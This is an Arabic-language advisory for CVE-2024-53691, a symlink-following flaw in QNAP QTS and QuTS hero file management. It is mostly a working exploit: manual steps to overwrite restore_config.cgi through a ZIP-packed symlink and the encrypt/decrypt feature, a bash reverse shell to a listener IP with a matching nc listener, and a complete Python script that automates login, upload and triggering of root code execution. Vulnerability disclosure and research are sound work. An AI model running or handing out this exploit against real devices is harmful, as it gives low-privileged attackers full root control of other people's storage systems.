
CVE-2024-53691
"إذا تم استغلاله، فإن ثغرة تتبع الارتباط (link following) قد تسمح للمهاجمين عن بُعد الذين حصلوا على صلاحيات مستخدم بعبور نظام الملفات إلى مواقع غير مقصودة."
تاريخ الاكتشاف: 22 أبريل 2024
تاريخ الإصلاح: 7 سبتمبر 2024
الإصدارات المتأثرة: QTS 5.1.x، QuTS hero h5.1.x
الإصدارات التي تم إصلاحها: QTS 5.2.0.2802 build 20240620 وما بعده، QuTS hero h5.2.0.2802 build 20240620 وما بعده
صلاحيات الوصول: مستخدم عادي مع صلاحية رفع الملفات
المُلخص:
من الممكن رفع رابط رمزي (symlink) عبر ملف ZIP وإساءة استخدام وظيفة التشفير/فك التشفير للحصول على إمكانية كتابة ملف عشوائي يمكن تحويلها إلى تنفيذ كود عن بُعد.
يمكن للمهاجم الذي يتمتع بصلاحيات مستخدم عادي استغلال الثغرة للحصول على تنفيذ كود كمستخدم جذر واختراق النظام بالكامل.
إنشاء رابط رمزي ووضعه في ملف ZIP. يحدد هدف الرابط الرمزي الملف الذي سيتم استبداله. لتحقيق تنفيذ الكود عن بُعد، تم اختيار /home/httpd/cgi-bin/restore_config.cgi.
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
كتابة أوامر shell التي سيتم تنفيذها في payload.txt. يتم استخدام شيل عكسي (reverse shell) قياسي في bash في هذا المثال. لا تنسَ تعديل IP المنفذ للمستمع.
#!/bin/sh
bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
تسجيل الدخول كمستخدم بصلاحيات منخفضة.
رفع ملف ZIP عبر الواجهة الويب.
استخراج ملف ZIP بالضغط بزر الماوس الأيمن واختيار استخراج إلى /pwn/.
رفع payload.txt إلى /pwn/payload.txt.

تشفير payload.txt بالضغط بزر الماوس الأيمن، واختيار تشفير، وضبط هل تريد تشفير واستبدال الملف الأصلي؟ على نعم.
إعادة تسمية الملف payload.txt.qenc إلى link.txt.qenc بالضغط بزر الماوس الأيمن واختيار إعادة تسمية.
فك تشفير الملف link.txt.qenc بالضغط بزر الماوس الأيمن، واختيار فك تشفير، وضبط الوضع على استبدال.
بدء مستمع الشيل العكسي الخاص بك.
nc -nvlp 4444
فتح نقطة النهاية /cgi-bin/restore_config.cgi في متصفحك لتفعيل تنفيذ الشيل العكسي.

يمكن استخدام النص البرمجي التالي بلغة Python لاستغلال الثغرة.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('creating zip file')
os.system("""
rm -f link.txt pwn.zip payload.txt
ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
zip --symlink pwn.zip link.txt
""")
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(5)
print('uploading payload file')
upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))
print('encrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('renaming payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] in (1, 2)
print('decrypting payload file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
time.sleep(1)
print('executing payload')
session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()